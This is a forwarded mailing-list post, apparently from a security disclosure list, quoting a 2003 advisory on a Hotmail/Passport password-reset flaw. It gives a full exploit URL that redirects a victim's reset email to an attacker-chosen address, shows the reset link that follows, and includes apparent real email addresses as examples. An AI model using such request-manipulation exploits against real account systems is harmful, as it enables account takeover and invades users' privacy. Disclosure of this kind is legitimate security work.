Isnt this the same vulnerabilitywhich was first
reported on FD(almost a year ago..) ..and supposedly
made FD "famous" (as regards being noticed by the
press).


I am forwarding this as it may impact people whom
depend on MSN or
passport systems for business reasons. Contrary to
what at
least one of the full-disclosure follow-ups reports,
it does work.

Accounts) Vulnerability

Hotmail & Passport (.NET Accounts) Vulnerability

There is a very serious and stupid vulnerability or
badcoding in Hotmail / 
Passportâ??s (.NET
Accounts)

I tried sending emails several times to Hotmail /
Passport contact 
addresses, but always met
with the NLP bots.

I guess I donâ??t need to go in details of how
cruical and important Hotmail 
/ Passportâ??s
.NET Account passport is to anyone.

You name it and they have it, E-Commerce, Credit
Card processing, Personal 
Emails, Privacy Issues,
Corporate Espionage, maybe stalkers and what not.

It is so simple that it is funny.

All you got to do is hit the following in your
browser:


https://register.passport.net/emailpwdreset.srf?lc=1033&em=vanecarolina13 () hotmail 
com&id=&cb=&prefem=careverga7@.com&rst=1

And youâ??ll get an email on attacker () attacker com
asking you to click on a 
url something like
this:


http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033

From that url, you can reset the password and I
donâ??t think I need to say 
anything more about
it.

Vulnerability / Flaw discovered : 12th April 2003
Vendor / Owner notified : Yes (as far as emailing
them more than 10 times is 
concerned)
